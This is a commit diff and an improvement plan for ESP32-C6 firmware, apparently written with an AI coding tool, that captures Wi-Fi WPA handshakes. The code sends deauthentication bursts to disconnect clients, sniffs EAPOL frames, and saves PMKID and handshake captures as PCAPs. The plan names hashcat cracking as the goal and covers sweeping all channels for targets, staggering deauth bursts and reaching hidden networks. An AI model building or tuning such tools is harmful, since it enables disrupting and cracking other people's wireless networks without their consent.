Improve capture performance: shorter RX lock, PMKID-first save, channel sweep
- Reduce time spent in capture spinlock by snapshotting slot BSSIDs and only locking for shared-state updates - Add PMKID KDE detection to save on EAPOL M1 when present - Sweep channels with remaining WPA targets instead of camping one channel Made-with: Cursor
This commit is contained in:
@@ -12,6 +12,8 @@ static bool pcapAppendSlot(CaptureSlot* slot, const uint8_t* frame, size_t len);
|
|||||||
static void sendDeauthToClient(const uint8_t* bssid, const uint8_t* client_mac);
|
static void sendDeauthToClient(const uint8_t* bssid, const uint8_t* client_mac);
|
||||||
static void sendDeauthBurstAll();
|
static void sendDeauthBurstAll();
|
||||||
static bool addClientToSlot(CaptureSlot* slot, const uint8_t* mac);
|
static bool addClientToSlot(CaptureSlot* slot, const uint8_t* mac);
|
||||||
|
static bool eapolHasPmkid(const uint8_t* payload, uint16_t len, uint16_t mac_hdr_len);
|
||||||
|
static int getNextChannelSweep();
|
||||||
|
|
||||||
// ─── Shared state ───
|
// ─── Shared state ───
|
||||||
|
|
||||||
@@ -29,10 +31,11 @@ CapturePhase capturePhase = PHASE_OBSERVING;
|
|||||||
#define CAPTURE_TIMEOUT_MS 10000
|
#define CAPTURE_TIMEOUT_MS 10000
|
||||||
#define DEAUTH_BURST_COUNT 5
|
#define DEAUTH_BURST_COUNT 5
|
||||||
#define DEAUTH_BURST_DELAY 2 // ms between frames in a burst
|
#define DEAUTH_BURST_DELAY 2 // ms between frames in a burst
|
||||||
#define MAX_PHASE_RETRIES 2 // total observe→deauth→capture cycles
|
#define MAX_PHASE_RETRIES 3 // 3 full cycles before moving to next channel
|
||||||
|
|
||||||
static unsigned long phase_timer = 0;
|
static unsigned long phase_timer = 0;
|
||||||
static uint8_t phase_retries = 0;
|
static uint8_t phase_retries = 0;
|
||||||
|
static int last_channel = 0;
|
||||||
|
|
||||||
// Spinlock for data shared between promiscuous callback (WiFi task)
|
// Spinlock for data shared between promiscuous callback (WiFi task)
|
||||||
// and main loop. Critical sections are kept very short.
|
// and main loop. Critical sections are kept very short.
|
||||||
@@ -195,6 +198,24 @@ int getBestChannel() {
|
|||||||
return best_ch;
|
return best_ch;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
static int getNextChannelSweep() {
|
||||||
|
int ch_counts[15] = {0};
|
||||||
|
for (int i = 0; i < MAX_NETWORKS; i++) {
|
||||||
|
if (networks[i].ssid.isEmpty()) break;
|
||||||
|
if (networks[i].handshake_captured || !isCaptureable(i)) continue;
|
||||||
|
int ch = networks[i].ch;
|
||||||
|
if (ch >= 1 && ch <= 14) ch_counts[ch - 1]++;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Simple circular sweep across channels that still have targets.
|
||||||
|
int start = last_channel;
|
||||||
|
for (int step = 0; step < 14; step++) {
|
||||||
|
int ch = ((start + step) % 14) + 1;
|
||||||
|
if (ch_counts[ch - 1] > 0) return ch;
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
void scanNetworksSortedByRSSI() {
|
void scanNetworksSortedByRSSI() {
|
||||||
memset(networks, 0, sizeof(networks));
|
memset(networks, 0, sizeof(networks));
|
||||||
int n = WiFi.scanNetworks(false, false);
|
int n = WiFi.scanNetworks(false, false);
|
||||||
@@ -327,8 +348,9 @@ static void sendDeauthBurstAll() {
|
|||||||
void startMultiCapture() {
|
void startMultiCapture() {
|
||||||
if (is_capturing) return;
|
if (is_capturing) return;
|
||||||
|
|
||||||
current_channel = getBestChannel();
|
current_channel = getNextChannelSweep();
|
||||||
if (current_channel == 0) return;
|
if (current_channel == 0) return;
|
||||||
|
last_channel = current_channel;
|
||||||
|
|
||||||
memset(slots, 0, sizeof(slots));
|
memset(slots, 0, sizeof(slots));
|
||||||
int filled = 0;
|
int filled = 0;
|
||||||
@@ -444,10 +466,11 @@ static void promiscuousRxCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
|
|||||||
|
|
||||||
// Pre-compute EAPOL presence for data frames
|
// Pre-compute EAPOL presence for data frames
|
||||||
bool is_eapol = false;
|
bool is_eapol = false;
|
||||||
|
uint16_t mhl = 0;
|
||||||
if (is_data) {
|
if (is_data) {
|
||||||
bool to_ds = (payload[1] & 0x01) != 0;
|
bool to_ds = (payload[1] & 0x01) != 0;
|
||||||
bool from_ds = (payload[1] & 0x02) != 0;
|
bool from_ds = (payload[1] & 0x02) != 0;
|
||||||
uint16_t mhl = 24;
|
mhl = 24;
|
||||||
if (to_ds && from_ds) mhl += 6; // WDS 4-addr
|
if (to_ds && from_ds) mhl += 6; // WDS 4-addr
|
||||||
if (is_qos) mhl += 2; // QoS Control
|
if (is_qos) mhl += 2; // QoS Control
|
||||||
|
|
||||||
@@ -462,46 +485,134 @@ static void promiscuousRxCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Snapshot minimal slot state quickly (avoid holding lock during memcmp-heavy logic)
|
||||||
|
uint8_t bssids[MAX_SLOTS][6];
|
||||||
|
bool slot_active[MAX_SLOTS];
|
||||||
|
bool slot_pending[MAX_SLOTS];
|
||||||
|
bool slot_beacon_captured[MAX_SLOTS];
|
||||||
|
CapturePhase phase_snapshot;
|
||||||
|
|
||||||
portENTER_CRITICAL(&capture_mux);
|
portENTER_CRITICAL(&capture_mux);
|
||||||
|
phase_snapshot = capturePhase;
|
||||||
for (int i = 0; i < MAX_SLOTS; i++) {
|
for (int i = 0; i < MAX_SLOTS; i++) {
|
||||||
CaptureSlot* s = &slots[i];
|
slot_active[i] = slots[i].active;
|
||||||
if (!s->active || pending_save_slots[i] >= 0) continue;
|
slot_pending[i] = (pending_save_slots[i] >= 0);
|
||||||
|
slot_beacon_captured[i] = slots[i].beacon_captured;
|
||||||
|
memcpy(bssids[i], slots[i].bssid, 6);
|
||||||
|
}
|
||||||
|
portEXIT_CRITICAL(&capture_mux);
|
||||||
|
|
||||||
// Beacon capture
|
// Identify which slot (if any) this frame belongs to.
|
||||||
if (is_beacon && !s->beacon_captured && len >= 36 &&
|
int hit_slot = -1;
|
||||||
memcmp(&payload[10], s->bssid, 6) == 0) {
|
bool hit_match_addr2 = false;
|
||||||
|
|
||||||
|
if (is_beacon && len >= 36) {
|
||||||
|
const uint8_t* src = &payload[10];
|
||||||
|
for (int i = 0; i < MAX_SLOTS; i++) {
|
||||||
|
if (!slot_active[i] || slot_pending[i]) continue;
|
||||||
|
if (slot_beacon_captured[i]) continue;
|
||||||
|
if (memcmp(src, bssids[i], 6) == 0) {
|
||||||
|
hit_slot = i;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else if (is_data) {
|
||||||
|
const uint8_t* addr1 = &payload[4];
|
||||||
|
const uint8_t* addr2 = &payload[10];
|
||||||
|
for (int i = 0; i < MAX_SLOTS; i++) {
|
||||||
|
if (!slot_active[i] || slot_pending[i]) continue;
|
||||||
|
bool match1 = (memcmp(addr1, bssids[i], 6) == 0);
|
||||||
|
bool match2 = (memcmp(addr2, bssids[i], 6) == 0);
|
||||||
|
if (match1 || match2) {
|
||||||
|
hit_slot = i;
|
||||||
|
hit_match_addr2 = match2;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (hit_slot < 0) return;
|
||||||
|
|
||||||
|
// Apply updates under lock (validate slot is still active)
|
||||||
|
portENTER_CRITICAL(&capture_mux);
|
||||||
|
CaptureSlot* s = &slots[hit_slot];
|
||||||
|
if (!s->active || pending_save_slots[hit_slot] >= 0) {
|
||||||
|
portEXIT_CRITICAL(&capture_mux);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (is_beacon) {
|
||||||
|
if (!s->beacon_captured && len >= 36 && memcmp(&payload[10], s->bssid, 6) == 0) {
|
||||||
s->beacon_captured = true;
|
s->beacon_captured = true;
|
||||||
pcapAppendSlot(s, payload, len);
|
pcapAppendSlot(s, payload, len);
|
||||||
continue;
|
|
||||||
}
|
}
|
||||||
|
portEXIT_CRITICAL(&capture_mux);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
if (!is_data) continue;
|
// Data frame
|
||||||
|
if (phase_snapshot == PHASE_OBSERVING) {
|
||||||
|
const uint8_t* client_mac = hit_match_addr2 ? &payload[4] : &payload[10];
|
||||||
|
addClientToSlot(s, client_mac);
|
||||||
|
}
|
||||||
|
|
||||||
// Check if this data frame involves this slot's BSSID
|
if (is_eapol) {
|
||||||
bool match_addr1 = (memcmp(&payload[4], s->bssid, 6) == 0);
|
s->eapol_count++;
|
||||||
bool match_addr2 = (memcmp(&payload[10], s->bssid, 6) == 0);
|
pcapAppendSlot(s, payload, len);
|
||||||
if (!match_addr1 && !match_addr2) continue;
|
latest_eapol_count = s->eapol_count;
|
||||||
|
|
||||||
// Phase 2: map client MAC from all data frames (including encrypted)
|
// Save immediately on PMKID presence (M1 can be sufficient)
|
||||||
// FromDS: Addr1=DA(client), Addr2=BSSID | ToDS: Addr1=BSSID, Addr2=SA(client)
|
if (s->eapol_count == 1 && eapolHasPmkid(payload, len, mhl)) {
|
||||||
if (capturePhase == PHASE_OBSERVING) {
|
pending_save_slots[hit_slot] = hit_slot;
|
||||||
const uint8_t* client_mac = match_addr2 ? &payload[4] : &payload[10];
|
} else if (s->eapol_count >= 2) {
|
||||||
addClientToSlot(s, client_mac);
|
pending_save_slots[hit_slot] = hit_slot;
|
||||||
}
|
|
||||||
|
|
||||||
// EAPOL capture (active during all phases)
|
|
||||||
if (is_eapol) {
|
|
||||||
s->eapol_count++;
|
|
||||||
pcapAppendSlot(s, payload, len);
|
|
||||||
latest_eapol_count = s->eapol_count;
|
|
||||||
|
|
||||||
if (s->eapol_count >= 2) {
|
|
||||||
pending_save_slots[i] = i;
|
|
||||||
}
|
|
||||||
break;
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
portEXIT_CRITICAL(&capture_mux);
|
portEXIT_CRITICAL(&capture_mux);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Minimal PMKID KDE detection for RSN (00:0f:ac:04)
|
||||||
|
// payload points at 802.11 header start; mac_hdr_len points at LLC/SNAP start.
|
||||||
|
static bool eapolHasPmkid(const uint8_t* payload, uint16_t len, uint16_t mac_hdr_len) {
|
||||||
|
if (mac_hdr_len == 0) return false;
|
||||||
|
if (len < mac_hdr_len + 8 + 4) return false; // LLC/SNAP + EAPOL hdr
|
||||||
|
|
||||||
|
// LLC/SNAP is 8 bytes: DSAP,SSAP,CTRL,OUI(3),Ethertype(2)
|
||||||
|
const uint16_t eapol_off = mac_hdr_len + 8;
|
||||||
|
if (len < eapol_off + 4) return false;
|
||||||
|
|
||||||
|
// EAPOL header
|
||||||
|
// [0]=ver, [1]=type, [2..3]=len
|
||||||
|
uint8_t eapol_type = payload[eapol_off + 1];
|
||||||
|
if (eapol_type != 3) return false; // EAPOL-Key
|
||||||
|
|
||||||
|
uint16_t eapol_len = ((uint16_t)payload[eapol_off + 2] << 8) | payload[eapol_off + 3];
|
||||||
|
if (len < eapol_off + 4 + eapol_len) return false;
|
||||||
|
|
||||||
|
const uint16_t key_off = eapol_off + 4;
|
||||||
|
if (eapol_len < 95) return false; // too small to contain WPA2 key + KDEs
|
||||||
|
|
||||||
|
// WPA2 EAPOL-Key fixed fields are 95 bytes after key descriptor type
|
||||||
|
// Key Data Length is at offset 97–98 from start of key frame (descriptor included).
|
||||||
|
// Layout: desc(1), key_info(2), key_len(2), replay(8), nonce(32), iv(16),
|
||||||
|
// rsc(8), id(8), mic(16), key_data_len(2), key_data(variable)
|
||||||
|
const uint16_t key_data_len_off = key_off + 1 + 2 + 2 + 8 + 32 + 16 + 8 + 8 + 16;
|
||||||
|
if (key_data_len_off + 2 > key_off + eapol_len) return false;
|
||||||
|
|
||||||
|
uint16_t key_data_len = ((uint16_t)payload[key_data_len_off] << 8) | payload[key_data_len_off + 1];
|
||||||
|
const uint16_t key_data_off = key_data_len_off + 2;
|
||||||
|
if (key_data_off + key_data_len > key_off + eapol_len) return false;
|
||||||
|
if (key_data_len < 20) return false;
|
||||||
|
|
||||||
|
// Search for RSN KDE: dd 14 00 0f ac 04 <16 bytes PMKID>
|
||||||
|
for (uint16_t i = 0; i + 22 <= key_data_len; i++) {
|
||||||
|
const uint16_t p = key_data_off + i;
|
||||||
|
if (payload[p] != 0xDD) continue;
|
||||||
|
if (payload[p + 1] != 0x14) continue;
|
||||||
|
if (payload[p + 2] != 0x00 || payload[p + 3] != 0x0F || payload[p + 4] != 0xAC) continue;
|
||||||
|
if (payload[p + 5] != 0x04) continue;
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|||||||
209
handshake-capture-c6/IMPROVEMENTS.md
Normal file
209
handshake-capture-c6/IMPROVEMENTS.md
Normal file
@@ -0,0 +1,209 @@
|
|||||||
|
# Firmware Performance Improvements
|
||||||
|
|
||||||
|
Review of handshake-capture-c6 for ESP32-C6 1.47" LCD. Ordered by impact and effort.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. Promiscuous Callback — Reduce Critical Section Scope
|
||||||
|
|
||||||
|
**File:** `HandshakeCapture.cpp` ~lines 352–385
|
||||||
|
|
||||||
|
**Issue:** The entire slot loop runs inside `portENTER_CRITICAL` / `portEXIT_CRITICAL`. For every frame we hold the spinlock across up to 3 slot checks, each with several `memcmp` calls. This blocks all other cores/tasks and can cause missed packets at high traffic.
|
||||||
|
|
||||||
|
**Change:** Shrink the critical section to only the minimal shared writes:
|
||||||
|
- Copy `slots`, `pending_save_slots`, `is_capturing`, `capturePhase` into locals at callback entry.
|
||||||
|
- Do all reads and logic outside the lock.
|
||||||
|
- Enter critical only for: `pcapAppendSlot`, `addClientToSlot`, `pending_save_slots[i] = i`, `slot->eapol_count++`, `slot->client_count` updates, `latest_eapol_count`.
|
||||||
|
|
||||||
|
**Effort:** Medium | **Impact:** High (fewer dropped frames)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 2. Early-Exit in Callback for Non-Target Frames
|
||||||
|
|
||||||
|
**File:** `HandshakeCapture.cpp` ~lines 320–385
|
||||||
|
|
||||||
|
**Issue:** For every data frame we iterate all 3 slots and do BSSID comparisons even when the frame has nothing to do with our targets. On busy channels that’s a lot of wasted `memcmp`.
|
||||||
|
|
||||||
|
**Change:** Build a quick-reject set: hash or simple bloom of our target BSSIDs. If neither Addr1 nor Addr2 matches any target, `continue` before the slot loop. Alternatively, compare against slot BSSIDs only when frame type is beacon or data, and bail immediately when no match.
|
||||||
|
|
||||||
|
**Effort:** Low | **Impact:** Medium (less CPU per frame)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 3. Staggered Deauth Bursts
|
||||||
|
|
||||||
|
**File:** `HandshakeCapture.cpp` ~`sendDeauthBurstAll`, `sendDeauthToClient`
|
||||||
|
|
||||||
|
**Issue:** All slots are deauthed back-to-back. Radio TX blinds RX; a burst of many deauths increases the chance we miss the following EAPOL.
|
||||||
|
|
||||||
|
**Change:** Interleave deauth with short RX gaps:
|
||||||
|
- 5 frames to client A → 50–100ms delay → 5 frames to client B → delay → etc.
|
||||||
|
- Or: 1 frame per client, round-robin, 2–3 rounds with short gaps.
|
||||||
|
|
||||||
|
**Effort:** Low | **Impact:** Medium–High (better EAPOL capture window)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 4. PMKID-First Immediate Save
|
||||||
|
|
||||||
|
**File:** `HandshakeCapture.cpp` promiscuous callback, EAPOL branch
|
||||||
|
|
||||||
|
**Issue:** We only set `pending_save_slots[i] = i` when `eapol_count >= 2`. PMKID is in EAPOL Message 1; hashcat can use it alone. If we never see M2, we discard usable data.
|
||||||
|
|
||||||
|
**Change:** On first EAPOL (M1), parse key info byte; if PMKID flag is set, set `pending_save_slots[i] = i` immediately. Keep current logic for M2 as well. Ensures we don’t drop PMKID-only handshakes.
|
||||||
|
|
||||||
|
**Effort:** Low | **Impact:** High (more crackable captures)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 5. Replace `String` with Fixed Buffers in Hot Paths
|
||||||
|
|
||||||
|
**File:** `HandshakeCapture.h` `WifiNetwork`, `HandshakeCapture.cpp` `handshakeCaptureProcessPending` ~line 89
|
||||||
|
|
||||||
|
**Issue:** `String` uses dynamic allocation. In `handshakeCaptureProcessPending`, `filename += s->ssid` and similar can fragment heap. `WifiNetwork::ssid` and `encryption` as `String` add overhead in scan/capture paths.
|
||||||
|
|
||||||
|
**Change:** Use `char ssid[33]` and `char encryption[16]` in `WifiNetwork`. In `handshakeCaptureProcessPending`, use `snprintf` into a stack buffer for the filename. Reduces heap use and allocation during capture.
|
||||||
|
|
||||||
|
**Effort:** Medium | **Impact:** Medium (stability, less heap pressure)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 6. SD Write Off Main Loop
|
||||||
|
|
||||||
|
**File:** `HandshakeCapture.cpp` `handshakeCaptureProcessPending`
|
||||||
|
|
||||||
|
**Issue:** SD writes block the main loop. A large PCAP (e.g. 4KB) can take 50–200ms; during that time `handshakeCaptureLoop` doesn’t run, LVGL stutters, and we might miss phase transitions.
|
||||||
|
|
||||||
|
**Change:** Defer SD write to a lower-priority task or timer callback. `handshakeCaptureProcessPending` only marks a slot “ready to write” and copies its buffer to a secondary buffer. A separate task or `loop()`-called `processSdQueue()` does the actual `SD.open` / `write` / `close`. Alternatively, use non-blocking SPI if available.
|
||||||
|
|
||||||
|
**Effort:** Medium–High | **Impact:** Medium (smoother UI, fewer timing glitches)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 7. Channel Hop Strategy — Full Sweep
|
||||||
|
|
||||||
|
**File:** `HandshakeCapture.cpp` `getBestChannel`, `handshake-capture-c6.ino` channel logic
|
||||||
|
|
||||||
|
**Issue:** We stay on the single “best” channel (most targets) for the full timeout. APs on ch 2–5, 7–10, 12–14 are never visited.
|
||||||
|
|
||||||
|
**Change:** Maintain a channel list sorted by target count. After exhausting retries on channel N, move to channel N+1 instead of rescanning. Rotate through all channels that have uncaptured WPA targets. Reduces time spent on empty channels and improves coverage.
|
||||||
|
|
||||||
|
**Effort:** Medium | **Impact:** High (more handshakes per run)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 8. RSSI-Based Slot Ordering
|
||||||
|
|
||||||
|
**File:** `HandshakeCapture.cpp` `startMultiCapture`, `scanNetworksSortedByRSSI`
|
||||||
|
|
||||||
|
**Issue:** Slots are filled in scan order. Stronger-signal APs often have faster reconnects and easier captures.
|
||||||
|
|
||||||
|
**Change:** When filling slots, sort `networks` by RSSI for the current channel, then assign slots. Prioritize high-RSSI targets. Optional: during observation, weight client mapping by RSSI.
|
||||||
|
|
||||||
|
**Effort:** Low | **Impact:** Low–Medium (better success on marginal APs)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 9. LVGL Update Throttling
|
||||||
|
|
||||||
|
**File:** `handshake-capture-c6.ino` `updateCaptureVisuals`
|
||||||
|
|
||||||
|
**Issue:** We iterate all networks and update LVGL every 400ms. When there are many networks, this does a lot of `lv_label_set_text` and `lv_obj_set_style_text_color` per cycle.
|
||||||
|
|
||||||
|
**Change:** Track `last_updated_index` and only refresh labels that actually changed (compare new text/color to previous). Batch LVGL updates or skip when `captureState != STATE_CAPTURING`.
|
||||||
|
|
||||||
|
**Effort:** Low | **Impact:** Low (smoother UI, less CPU)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 10. `wasBssidCaptured` Linear Scan
|
||||||
|
|
||||||
|
**File:** `HandshakeCapture.cpp` `wasBssidCaptured`, `scanNetworksSortedByRSSI` ~line 219
|
||||||
|
|
||||||
|
**Issue:** `wasBssidCaptured` is O(n) per network during scan. With 20 networks and 32 cached BSSIDs, that’s up to 640 comparisons per scan.
|
||||||
|
|
||||||
|
**Change:** Use a small hash set or sorted array + binary search for the BSSID cache. Or cache the last few lookups. For 32 entries, linear is acceptable; optimization is only if scan becomes a bottleneck.
|
||||||
|
|
||||||
|
**Effort:** Low | **Impact:** Low
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 11. Progress Bar Animation
|
||||||
|
|
||||||
|
**File:** `LVGL_Driver.cpp` `Ui_SetProgress` ~line 64
|
||||||
|
|
||||||
|
**Issue:** `lv_bar_set_value(..., LV_ANIM_ON)` triggers an animation every 400ms when `updateCaptureVisuals` runs, even when the value is unchanged.
|
||||||
|
|
||||||
|
**Change:** Only call `lv_bar_set_value` when `pct` or `current`/`total` actually changed. Use `LV_ANIM_OFF` for progress bar to avoid unnecessary redraws.
|
||||||
|
|
||||||
|
**Effort:** Trivial | **Impact:** Low (less LVGL work)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 12. Disable Wi-Fi AP Mode When Not Needed
|
||||||
|
|
||||||
|
**File:** `HandshakeCapture.cpp` `handshakeCaptureInit`
|
||||||
|
|
||||||
|
**Issue:** `WiFi.mode(WIFI_AP_STA)` keeps the soft AP up. You’ve said no web interface; the AP may be unnecessary and draws power.
|
||||||
|
|
||||||
|
**Change:** Use `WIFI_STA` only if no AP functionality is required. Verify promiscuous mode works in STA-only. If it does, drop AP to save power.
|
||||||
|
|
||||||
|
**Effort:** Low | **Impact:** Low (power, simpler state)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 13. `millis()` in Critical Section
|
||||||
|
|
||||||
|
**File:** `HandshakeCapture.cpp` `pcapAppendSlot` ~line 249
|
||||||
|
|
||||||
|
**Issue:** `millis()` is called inside the spinlock-protected `pcapAppendSlot`. `millis()` can have non-trivial cost on some platforms.
|
||||||
|
|
||||||
|
**Change:** Call `millis()` once at callback entry, store in a local, pass it into `pcapAppendSlot` as a parameter. Keeps the critical section shorter.
|
||||||
|
|
||||||
|
**Effort:** Trivial | **Impact:** Low
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 14. `WiFiScanner_Init` Unused
|
||||||
|
|
||||||
|
**File:** `WiFi_Scanner.cpp` defines `WiFiScanner_Init`; it’s never called from the main sketch.
|
||||||
|
|
||||||
|
**Change:** Remove dead code or call it from `setup()` if it’s meant to configure WiFi before scanning.
|
||||||
|
|
||||||
|
**Effort:** Trivial | **Impact:** None (cleanup)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 15. Scan: Hidden Network Support
|
||||||
|
|
||||||
|
**File:** `HandshakeCapture.cpp` `scanNetworksSortedByRSSI` ~line 205
|
||||||
|
|
||||||
|
**Issue:** `if (ssid.isEmpty()) continue` skips hidden networks entirely.
|
||||||
|
|
||||||
|
**Change:** Use `WiFi.scanNetworks(true, true)` to include hidden, and use a placeholder like `"<hidden>"` for empty SSID. Store BSSID and channel; we can still target by BSSID. Requires handling `<hidden>` in filenames and UI.
|
||||||
|
|
||||||
|
**Effort:** Low | **Impact:** Medium (more targets)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Quick Wins (minimal code, clear benefit)
|
||||||
|
|
||||||
|
| # | Change | File |
|
||||||
|
|---|--------|------|
|
||||||
|
| 3 | Stagger deauth with RX gaps | HandshakeCapture.cpp |
|
||||||
|
| 4 | PMKID-first save on M1 | HandshakeCapture.cpp |
|
||||||
|
| 8 | RSSI-sort slots in `startMultiCapture` | HandshakeCapture.cpp |
|
||||||
|
| 11 | Only update progress bar when value changes | LVGL_Driver.cpp |
|
||||||
|
| 13 | Pass `millis()` into `pcapAppendSlot` | HandshakeCapture.cpp |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Higher Effort, Higher Impact
|
||||||
|
|
||||||
|
| # | Change |
|
||||||
|
|---|--------|
|
||||||
|
| 1 | Shrink callback critical section |
|
||||||
|
| 5 | Replace String with fixed buffers |
|
||||||
|
| 6 | Offload SD write from main loop |
|
||||||
|
| 7 | Full channel sweep instead of single best |
|
||||||
@@ -18,7 +18,7 @@ enum CaptureState {
|
|||||||
|
|
||||||
CaptureState captureState = STATE_SCANNING;
|
CaptureState captureState = STATE_SCANNING;
|
||||||
unsigned long capture_start_time = 0;
|
unsigned long capture_start_time = 0;
|
||||||
const unsigned long CHANNEL_TIMEOUT_MS = 30000;
|
const unsigned long CHANNEL_TIMEOUT_MS = 50000; // ~3 cycles (observe+deauth+capture)
|
||||||
|
|
||||||
// ─── Live capture visual update ───
|
// ─── Live capture visual update ───
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user